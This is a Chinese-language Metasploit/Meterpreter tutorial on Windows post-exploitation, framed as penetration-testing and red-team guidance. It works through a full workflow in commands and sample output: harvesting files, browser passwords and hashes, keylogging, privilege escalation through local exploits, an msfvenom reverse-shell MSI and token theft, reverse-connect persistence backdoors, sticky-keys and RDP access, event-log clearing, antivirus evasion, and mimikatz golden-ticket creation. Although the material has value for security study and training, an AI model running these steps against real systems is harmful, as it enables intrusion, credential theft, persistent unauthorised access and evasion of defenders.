1. 项目概述:从“立足”到“掌控”的渗透旅程
拿到一个Windows系统的Meterpreter会话,只是万里长征的第一步。很多新手朋友会兴奋于那个闪烁的“meterpreter >”提示符,但接下来往往就卡住了——除了跑几个基础命令,不知道还能做什么,更别提如何将这个初始立足点,转化为对整个系统的完全掌控。这就像你费尽心思撬开了一扇门,却只站在玄关发呆,不知道如何探索整个房间,更别说找到藏在保险柜里的钥匙。
这篇指南要解决的,就是这个“从入门到精通”的断层。我们聚焦于Windows环境下的后渗透实战,核心目标非常明确:将你获得的那个初始、可能权限有限的Meterpreter会话,通过一系列有逻辑、可操作的文件操作与权限提升技术,转化为一个稳固、高权限的控制通道。这不是命令的简单罗列,而是一套完整的战术思路和实操流程。我们会从最基础但至关重要的文件系统侦察开始,教你如何像本地用户一样浏览、搜索、窃取关键数据;然后深入到权限提升的核心,剖析几种主流提权手法的原理、适用场景和具体操作,包括利用系统漏洞、服务配置错误以及令牌操纵等高级技巧。整个过程,我会穿插大量我实际渗透测试和红队演练中踩过的坑、总结的技巧,以及那些官方文档里不会写的“骚操作”。
无论你是正在学习渗透测试的安全爱好者,还是负责企业安全评估的工程师,这篇文章都能为你提供一个清晰的、可直接复现的Windows后渗透行动蓝图。我们不止讲“怎么做”,更会深入讲“为什么这么做”以及“什么时候该这么做”,让你知其然更知其所以然,在面对真实环境时能灵活应变。
2. 后渗透基础:文件系统侦察与操作的艺术
在尝试任何提权操作之前,彻底了解你所处的环境是至关重要的。盲目的提权尝试不仅容易失败,还可能触发安全告警。因此,我们的第一步永远是:侦察。通过文件操作,我们能够绘制出目标系统的地图,定位关键信息,为后续的权限提升打下坚实基础。
2.1 环境感知与基础信息收集
当你刚获得一个Meterpreter会话,首先需要知道自己是谁、在哪。
meterpreter > sysinfo Computer : WIN-7A8D2K1BQ9P OS : Windows 10 (10.0 Build 19045). Architecture : x64 System Language : zh-CN Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windowssysinfo命令给出了系统概貌。但更重要的是当前权限:
meterpreter > getuid Server username: WIN-7A8D2K1BQ9P\John如果这里显示的是类似NT AUTHORITY\SYSTEM或Administrator,那恭喜你,可能已经无需提权。但大多数情况下,你看到的会是普通用户,如John。接着,查看当前进程和权限:
meterpreter > getpid Current pid: 4564 meterpreter > psps命令列出所有进程,关注两点:一是你当前Meterpreter会话寄生在哪个进程上(通常是注入到类似notepad.exe,svchost.exe这类进程中),二是寻找以高权限(如SYSTEM、Administrator)运行的其他进程,这可能是后续进程迁移或令牌窃取的目标。
meterpreter > run post/windows/gather/checkvm这个脚本可以快速判断目标是否运行在虚拟机中(VMware, VirtualBox等),这对于判断目标环境(是个人PC、服务器还是沙箱)很有帮助。
2.2 文件系统导航与关键目录定位
在Windows中,不同目录存放着不同价值的信息。Meterpreter提供了类似Shell的文件操作命令,但更强大。
基本导航:
meterpreter > pwd C:\Users\John\Desktop meterpreter > ls meterpreter > cd C:\\ meterpreter > ls注意:Meterpreter的
ls命令在早期版本或特定会话类型下可能输出不全。更可靠的方式是使用dir命令,或者直接使用shell命令进入系统Shell执行dir。但要注意,shell命令产生的流量和特征可能更明显。
关键目录侦察:
用户目录 (
C:\Users\或C:\Documents and Settings\): 这里是信息金矿。逐个查看用户文件夹下的子目录:Desktop,Documents: 可能存放工作文件、临时笔记、密码列表(是的,很多人还在这么做)。Downloads: 下载的文件,可能是软件安装包、文档,甚至其他工具的配置文件。AppData\Roaming: 应用程序数据,藏着大量宝藏。例如:\Microsoft\Credentials: 可能存有缓存的凭据。\Google\Chrome\User Data\Default\Login Data: Chrome浏览器保存的密码(需要离线解密)。\Mozilla\Firefox\Profiles\*.default-release\logins.json: Firefox保存的密码。
- 使用Meterpreter的
search命令进行高效扫描:meterpreter > search -f *.txt *.pdf *.docx *.xlsx -d C:\\Users meterpreter > search -f *pass* *cred* *config* -d C:\\Users
系统与程序目录 (
C:\Windows,C:\Program Files,C:\ProgramData):C:\Windows\System32\config: 存储SAM(用户密码哈希)、SYSTEM等注册表 hive 文件,是离线提取哈希的关键。但通常需要SYSTEM权限才能访问。C:\Windows\Temp,C:\Users\All Users\Temp: 临时文件目录,可能包含安装日志、解压的敏感文件。C:\ProgramData: 所有用户共享的应用程序数据,常存放软件的配置文件、日志,权限设置可能比Program Files宽松。
网络与配置文件: 搜索
*.config,web.config,*.xml,*.ini,*.properties等文件,里面可能包含数据库连接字符串、API密钥、服务密码。
实操心得:在图形化界面不稳定的情况下,我更喜欢用Meterpreter的download和upload命令进行文件传输。download命令支持断点续传,对于大文件很友好。在上传工具(如提权EXP、扫描器)前,务必先检查目标系统的杀毒软件(run post/windows/manage/killav)或使用免杀技术。一个常见的坑是,直接从攻击机上传的可执行文件可能被实时监控的杀软瞬间查杀。我的做法是,先将工具压缩成ZIP或RAR(有些杀软对压缩包内文件检查较松),上传后再在目标机用内置的expand命令或上传一个轻量级解压工具进行解压。
2.3 数据窃取与证据收集
侦察的最终目的是获取有价值的数据。除了手动搜索,Metasploit提供了强大的自动化收集模块。
运行自动化信息收集脚本:
meterpreter > run post/windows/gather/enum_logged_on_users meterpreter > run post/windows/gather/enum_applications meterpreter > run post/windows/gather/enum_patchesenum_patches尤为重要,它能列出系统已安装的补丁,通过与已知漏洞对比,可以快速定位缺失的补丁,为漏洞提权提供线索。转储密码哈希:这是后渗透的核心目标之一。但必须要有SYSTEM权限才能成功转储SAM中的哈希。
meterpreter > run post/windows/gather/hashdump如果当前不是SYSTEM权限,这个命令会失败。成功后的输出是NTLM哈希,可以用于哈希传递攻击或离线破解。
窃取浏览器密码:使用专门的模块,如
post/windows/gather/credentials/chrome,但成功率取决于浏览器版本、状态和权限。更通用的方法是先定位到前面提到的浏览器数据文件,然后下载到攻击机进行离线解密。键盘记录:在合适时机(例如,判断用户可能输入密码时)开启键盘记录。
meterpreter > keyscan_start meterpreter > keyscan_dump meterpreter > keyscan_stop重要注意事项:键盘记录是侵入性很强的操作,会产生大量I/O,容易被高级EDR(终端检测与响应)产品检测。仅在确认目标环境监控较弱或需要获取关键交互信息时使用,并尽快停止。
通过以上系统的文件操作和信息收集,你不仅拿到了可能直接利用的敏感数据(如配置文件中的密码),更重要的是,你为下一步的权限提升积累了关键情报:系统版本、补丁情况、运行的服务、安装的软件、其他高权限进程等。这些信息将直接决定你选择哪一条提权路径。
3. 权限提升的核心路径与原理剖析
在充分侦察之后,我们手头有了弹药(目标信息),现在需要选择正确的武器(提权方法)来攻破权限壁垒。Windows权限提升主要围绕一个核心:利用各种缺陷,使当前进程获得更高完整性级别或用户权限,通常是NT AUTHORITY\SYSTEM。下面我们拆解几种主流且实用的提权路径。
3.1 漏洞利用提权:经典的“以力破巧”
这是最直接的提权方式,原理是:利用操作系统或系统组件中存在的未修复安全漏洞,通过执行精心构造的恶意代码,使当前进程突破安全边界,获得系统权限。
操作流程:
- 信息匹配:利用前面
sysinfo和enum_patches收集到的系统版本、架构、补丁信息。 - 查找漏洞:在攻击机上,使用
local_exploit_suggester模块进行智能推荐。
这个模块会基于会话信息,自动匹配Metasploit框架中可用的本地提权漏洞利用模块,并按成功率排序,非常高效。msf6 > use post/multi/recon/local_exploit_suggester msf6 post(local_exploit_suggester) > set session 1 msf6 post(local_exploit_suggester) > run - 选择与执行:从建议列表中选择一个 exploit。例如,它可能建议
exploit/windows/local/ms16_032_secondary_logon_handle_privesc(MS16-032)。你需要将其在Metasploit中背景化当前会话后使用。
如果成功,你将获得一个新的Meterpreter会话,并且msf6 > background msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc msf6 exploit(ms16_032_...) > set session 1 msf6 exploit(ms16_032_...) > set payload windows/x64/meterpreter/reverse_tcp msf6 exploit(ms16_032_...) > set lhost 192.168.1.100 msf6 exploit(ms16_032_...) > rungetuid会显示NT AUTHORITY\SYSTEM。
原理与注意事项:
- 原理:这类漏洞通常存在于系统内核或高权限服务中,如内存破坏漏洞(缓冲区溢出、UAF等)或逻辑漏洞(如权限检查绕过)。利用代码通过触发漏洞,在内核态或高权限进程上下文中执行Shellcode,从而生成高权限的Shell。
- 成败关键:
- 补丁状态:目标系统是否安装了修复该漏洞的补丁。
enum_patches的结果是主要判断依据。 - 系统架构:必须使用与目标系统匹配的 exploit 和 payload(x86 vs x64)。在WoW64(64位系统运行32位程序)环境下有时需要特别处理。
- ** exploit 兼容性:** 并非所有理论可用的 exploit 在实际环境中都能稳定运行,可能受系统配置、安全软件干扰。
- 稳定性风险:内核漏洞利用有导致系统蓝屏崩溃的风险,在关键生产环境中需谨慎。
- 补丁状态:目标系统是否安装了修复该漏洞的补丁。
实操心得:我通常会优先尝试被local_exploit_suggester标记为“excellent”或“great”可靠性的漏洞。在实战中,像MS17-010(永恒之蓝的本地利用变种)、CVE-2021-36934(HiveNightmare)等历史上影响广泛的漏洞,在未及时更新的内网系统中依然有很高的命中率。执行前,务必做好会话备份(background),因为失败的 exploit 可能导致当前会话崩溃。
3.2 服务与进程配置错误提权:寻找“后门”
如果系统补丁打得比较全,漏洞利用走不通,那么就要转向寻找配置层面的弱点。其核心原理是:利用系统服务、计划任务或文件/目录权限设置上的错误,诱导系统以高权限执行我们控制的代码。
常见场景与操作:
不安全的服务权限:Windows服务通常以SYSTEM或特定高权限账户运行。如果某个服务的可执行文件路径、或相关目录的权限配置不当,允许普通用户修改或写入,我们就可以替换掉合法的服务程序。
- 侦察:使用
powerup.ps1脚本(PowerShell Empire 工具集的一部分,可集成使用)或 Metasploit 的post/windows/gather/enum_services模块进行扫描。 - 利用:如果发现某个以SYSTEM运行的服务,其二进制文件路径(
BINARY_PATH_NAME)指向一个普通用户有“完全控制”权限的目录,我们可以将我们的恶意可执行文件(如 reverse shell)重命名为服务程序名,并替换原文件(需先停止服务)。当服务重启时,我们的代码就以SYSTEM权限运行了。 - Metasploit 模块示例:
exploit/windows/local/service_permissions
- 侦察:使用
AlwaysInstallElevated:这是一个危险的组策略设置。如果启用,任何MSI安装包都会以SYSTEM权限安装。
- 检查:在Meterpreter会话中,可以查询注册表键值。
如果两者都返回meterpreter > reg queryval -k HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer -v AlwaysInstallElevated meterpreter > reg queryval -k HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer -v AlwaysInstallElevated1,则存在此漏洞。 - 利用:使用
msfvenom生成一个恶意的MSI文件。
上传到目标,然后以普通用户身份执行msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f msi -o evil.msimsiexec /quiet /qn /i evil.msi,即可获得SYSTEM权限的会话。
- 检查:在Meterpreter会话中,可以查询注册表键值。
可写路径注入:如果系统
PATH环境变量中包含一个当前用户可写的目录,并且该目录位于某些高权限程序(如sudo在Linux中,Windows下类似场景较少但存在变种)的搜索路径之前,那么放置一个同名的恶意程序就可能被高权限进程调用。
原理与注意事项:
- 原理:这类提权不依赖于代码漏洞,而是利用“信任”关系的破坏。系统“信任”某个服务、某个策略或某个路径下的文件,但管理员错误地配置了权限,使得这种信任被恶意利用。
- 优势:相比漏洞利用,更稳定,不易导致系统崩溃。
- 侦察是关键:成功与否极度依赖前期细致的信息收集。你需要对Windows服务、计划任务、注册表、文件系统权限有深入的理解。自动化脚本(如PowerUp)能极大提高效率。
3.3 令牌模拟与窃取:扮演“管理员”
这是另一种非常优雅且高效的提权技术,尤其在域环境中威力巨大。其原理是:Windows使用令牌(Token)来标识进程的安全上下文。如果一个进程拥有高权限用户的令牌(或具有模拟特权),我们就可以“窃取”或“复制”这个令牌,并将其应用到我们当前的进程上,从而获得该用户的权限。
主要方法:
Incognito 扩展:Meterpreter内置的
incognito模块是令牌操作的神器。meterpreter > use incognito meterpreter > list_tokens -u这个命令会列出当前可用的用户令牌。你可能会看到
NT AUTHORITY\SYSTEM、WIN-7A8D2K1BQ9P\Administrator等。meterpreter > impersonate_token "WIN-7A8D2K1BQ9P\\Administrator"如果成功,你的会话权限就变成了Administrator。但请注意,这模拟的是该用户的网络令牌,对于访问某些本地资源可能受限。
窃取进程令牌:如果发现有一个进程是以SYSTEM或Administrator权限运行的,并且你的当前进程具有
SeDebugPrivilege权限(允许调试其他进程),你可以直接窃取该进程的令牌。- 首先,迁移到一个有
SeDebugPrivilege的进程(如services.exe)。meterpreter > ps | grep services meterpreter > migrate <PID_of_services.exe> - 然后使用
incognito窃取令牌。meterpreter > steal_token <PID_of_a_SYSTEM_process>
- 首先,迁移到一个有
Rotten Potato(烂土豆)及其变种:这是一系列利用Windows令牌模拟机制中特定缺陷(如
SeImpersonatePrivilege)进行提权的技术总称。当你的账户拥有SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege权限时(IIS、SQL Server等服务账户通常拥有),就可以利用这些技术从本地服务账户提升到SYSTEM。- 检查权限:
whoami /priv或在Meterpreter中getprivs。 - 利用模块:Metasploit中有
exploit/windows/local/ms16_075_reflection等模块实现了相关利用。
- 检查权限:
原理与注意事项:
- 原理:直接“借用”已存在于系统内存中的高权限安全上下文,绕过复杂的权限检查流程。
- 适用场景:在域环境中,如果域管理员登录过某台机器,他的令牌可能缓存在该机器的内存中。通过
list_tokens -u可能看到域管理员令牌,从而直接模拟,这是横向移动的利器。 - 局限性:令牌模拟获取的权限受限于该令牌本身。例如,模拟的网络令牌可能无法访问某些本地资源。此外,这种技术高度依赖于当前进程已有的特权。
4. 实战流程整合:从会话到SYSTEM的完整推演
理论讲了很多,现在我们把这些点串联起来,模拟一个完整的、从获得初始会话到最终获取SYSTEM权限的实战流程。假设我们已经通过一个漏洞(如MS17-010)获得了目标Windows 10系统的一个普通用户权限的Meterpreter会话(session 1)。
4.1 第一阶段:深度侦察与信息提炼
首先,我们将进行比基础更深入的信息收集,目标是找到提权的突破口。
meterpreter > sysinfo Computer : CLIENT-PC OS : Windows 10 Enterprise (10.0 Build 18363). Architecture : x64 System Language : en-US Domain : CORP Logged On Users : 3 Meterpreter : x64/windows meterpreter > getuid Server username: CORP\jdoe meterpreter > run post/windows/gather/enum_patches [*] Running module against CLIENT-PC [*] New session on 192.168.220.10:4444 -> 192.168.220.10:49752 (192.168.220.10) [+] KB5006670 is installed [+] KB5005565 is installed [-] KB5006738 is missing [+] KB5007186 is installed ... (更多补丁列表)从enum_patches的输出中,我们注意到KB5006738缺失。这是一个安全更新。我们记下这个信息。接着,检查当前用户的特权:
meterpreter > getprivs Enabled Process Privileges ========================== Name ---- SeChangeNotifyPrivilege SeImpersonatePrivilege SeCreateGlobalPrivilege发现关键点!SeImpersonatePrivilege被启用了。这通常出现在服务账户(如IIS AppPool账户、SQL Server服务账户)或某些特定配置的用户上。这立刻为我们打开了“令牌模拟”类提权的大门,特别是“烂土豆”系列漏洞。
同时,我们运行自动化提权建议:
meterpreter > run post/multi/recon/local_exploit_suggester [*] 10.10.10.10 - Collecting local exploits for x64/windows... [*] 10.10.10.10 - 35 exploit checks are being tried... [+] 10.10.10.10 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable. [+] 10.10.10.10 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The target appears to be vulnerable. [-] 10.10.10.10 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The target is not exploitable. ... (其他结果)建议显示bypassuac_eventvwr和cve_2020_0787_bits_arbitrary_file_move可能可用。UAC绕过可能将我们提升到管理员(但非SYSTEM),而CVE-2020-0787是一个基于BITS服务的本地提权漏洞。
4.2 第二阶段:多路径尝试与战术选择
基于侦察结果,我们有了三条清晰的路径:
- 路径A(令牌模拟):利用已有的
SeImpersonatePrivilege,尝试烂土豆类提权。 - 路径B(漏洞利用):尝试
cve_2020_0787_bits_arbitrary_file_move漏洞。 - 路径C(配置审计):运行PowerUp等脚本,检查服务、路径等配置错误。
最佳实践是并行或按优先级尝试。我们优先选择最可能成功、最稳定的路径。由于我们有SeImpersonatePrivilege,路径A的成功率通常很高且稳定。我们首先尝试路径A。
msf6 > background [*] Backgrounding session 1... msf6 > use exploit/windows/local/ms16_075_reflection_juicy msf6 exploit(ms16_075_reflection_juicy) > set session 1 msf6 exploit(ms16_075_reflection_juicy) > set payload windows/x64/meterpreter/reverse_tcp msf6 exploit(ms16_075_reflection_juicy) > set lhost 192.168.1.100 msf6 exploit(ms16_075_reflection_juicy) > set lport 5555 msf6 exploit(ms16_075_reflection_juicy) > run [*] Started reverse TCP handler on 192.168.1.100:5555 [*] Launching notepad to host the exploit... [+] Process 3324 launched. [*] Reflectively injecting the exploit DLL into 3324... [*] Injecting exploit into 3324... [*] Exploit injected. Injecting payload into 3324... [*] Payload injected. Executing exploit... [+] Exploit finished, wait for (hopefully privileged) payload execution to complete. [*] Sending stage (200774 bytes) to 192.168.220.10 [*] Meterpreter session 2 opened (192.168.1.100:5555 -> 192.168.220.10:49801) at 2023-10-27 10:00:00 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM成功!我们通过Juicy Potato(ms16_075_reflection_juicy)利用SeImpersonatePrivilege成功获得了SYSTEM权限的会话(session 2)。
4.3 第三阶段:权限巩固与痕迹清理
获得SYSTEM权限不是终点,我们需要巩固这个访问权限,并清理痕迹。
转储哈希与添加后门:
meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: jdoe:1001:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::现在可以成功转储哈希。同时,我们可以添加一个隐藏的后门用户或计划任务,以便持久化访问。
meterpreter > run post/windows/manage/enable_rdp meterpreter > run post/windows/manage/sticky_keys权限维持:使用
persistence模块创建启动项或服务。meterpreter > run persistence -X -i 30 -p 443 -r 192.168.1.100注意:
-X表示开机自启,-i是回连间隔,-p和-r是监听端口和IP。这种方式会在注册表或服务中留下明显痕迹,需根据目标环境谨慎使用。清理日志:虽然Meterpreter有
clearev命令,但在高安全环境中,简单地清除Windows事件日志可能反而成为告警指标。更高级的做法是选择性伪造或覆盖日志条目,但这非常复杂。在红队评估中,通常根据行动规则决定是否清理及清理到何种程度。meterpreter > clearev
至此,我们完成了一个从普通用户到SYSTEM权限的完整后渗透流程。关键在于系统的侦察引导出正确的提权路径,而不是盲目尝试。
5. 常见陷阱、问题排查与高级技巧
即使按照指南操作,在实际环境中你仍会遇到各种问题。这里分享一些我踩过的坑和对应的解决方案。
5.1 漏洞利用失败常见原因
“The target is not exploitable” 或 exploit 执行后无反应:
- 补丁已安装:这是最常见原因。再次用
enum_patches或系统信息确认。local_exploit_suggester有时会误报。 - 架构不匹配:确保 exploit 和 payload 的架构(x86/x64)与目标进程匹配。在64位系统上,如果Meterpreter会话是注入到32位进程(如
notepad.exe),则需要使用x86的payload。使用sysinfo和getpid配合ps -S <pid>查看进程架构。 - 防病毒/EDR拦截:exploit 或 payload 本身被内存扫描或行为检测拦截。尝试使用更高级的免杀技术,或先迁移到受信任的进程(如
svchost.exe),再执行 exploit。 - ** exploit 依赖条件不满足:** 某些 exploit 需要特定服务运行、特定文件存在或特定权限。仔细阅读Metasploit模块的
info描述。
- 补丁已安装:这是最常见原因。再次用
Session 死亡或系统蓝屏:
- 内核 exploit 风险:这是使用内核漏洞提权的固有风险。务必先背景化(
background)你珍贵的初始会话,再在新的上下文中运行 exploit。 - 内存破坏:exploit 不稳定。尝试同一漏洞的其他利用模块(Metasploit中可能有多个实现)。
- 内核 exploit 风险:这是使用内核漏洞提权的固有风险。务必先背景化(
5.2 令牌操作与进程迁移问题
impersonate_token失败:可能该令牌已失效,或当前会话没有足够的权限进行模拟。尝试list_tokens -u查看其他可用令牌。或者,先尝试getsystem命令(Metasploit内置的自动提权命令,会尝试多种技术),它有时能通过令牌复制成功。migrate失败:- 权限不足:迁移到受保护进程(如
lsass.exe,csrss.exe)需要SYSTEM权限。先提权再迁移。 - 架构不匹配:无法将64位进程迁移到32位进程,反之亦然。使用
ps -S <pid>查看目标进程架构。 - 进程崩溃:迁移可能导致目标进程不稳定。选择稳定的、常驻的进程,如
services.exe,svchost.exe。
- 权限不足:迁移到受保护进程(如
5.3 杀毒软件对抗与免杀考量
在后渗透阶段,杀毒软件是最大障碍之一。
- 文件落地:避免直接将可执行文件上传到磁盘。优先使用内存执行的技术,如PowerShell反射加载、 .NET Assembly内存加载等。Metasploit的
web_delivery模块结合PowerShell是经典方式。 - 内存扫描:即使是无文件落地,高级EDR也会进行内存扫描和行为检测。Meterpreter本身特征明显。考虑使用更定制化的、开源的C2框架生成payload,或对Meterpreter的反射DLL进行混淆和加密。
- 行为规避:提权操作本身(如调用特定API、修改特定注册表)可能触发行为规则。动作要慢,操作要分散。例如,不要刚获得会话就立刻运行
hashdump和persistence。
5.4 横向移动的跳板准备
获得一台主机的SYSTEM权限后,你的视野不应局限于此。这台主机现在是你向内网深处进攻的跳板。
- 信息收集:立刻从这台主机上收集域内信息。
meterpreter > run post/windows/gather/enum_domain meterpreter > run post/windows/gather/credentials/gpp meterpreter > run post/windows/gather/enum_ad_users - 凭证提取:使用
mimikatz(通过load kiwi)提取内存中的明文密码、票据(Tickets)。meterpreter > load kiwi meterpreter > creds_all meterpreter > golden_ticket_create - 端口扫描与发现:利用这台主机作为扫描源,探测内网其他存活主机和开放端口,因为从内网发起的扫描更不易被边界防火墙拦截。
后渗透是一个充满创造性和对抗性的过程,没有一成不变的公式。这份指南为你提供了系统的思路、成熟的工具和实战中验证过的方法。真正的精通,来源于在一次次真实的攻防演练中,面对不同的网络环境、安全设备和防守策略,不断地测试、失败、调整和成功。记住,保持耐心,细致侦察,灵活运用,你的每一次操作,都应是基于当前情报的最优解。